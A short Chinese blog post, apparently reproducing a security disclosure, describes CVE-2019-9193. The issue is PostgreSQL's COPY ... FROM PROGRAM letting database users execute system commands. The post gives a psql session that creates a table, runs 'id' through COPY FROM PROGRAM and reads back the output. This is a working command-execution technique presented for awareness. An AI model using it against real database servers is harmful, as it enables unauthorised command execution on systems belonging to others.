CVE-2019–9193所谓的psql的提权漏洞?

来源:https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
翻译:https://nosec.org/home/detail/2368.html

描述

PostgreSQL 从9.3到最新的11.2版本默认开启,影响Linux,Windows,和Mac。可从SQL语句执行权限的用户提权到系统命令执行权限。

$ psql -V
psql (PostgreSQL) 10.6 (Ubuntu 10.6-0ubuntu0.18.04.1)
postgres@ubuntu:~$ psql
psql (10.6 (Ubuntu 10.6-0ubuntu0.18.04.1))
Type "help" for help.

postgres=# create table cmd_exec(cmd_output text);
CREATE TABLE
postgres=# copy cmd_exec from program 'id';
COPY 1
postgres=# select * from cmd_exec;
                               cmd_output
------------------------------------------------------------------------
 uid=103(postgres) gid=118(postgres) groups=118(postgres),105(ssl-cert)
(1 row)

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值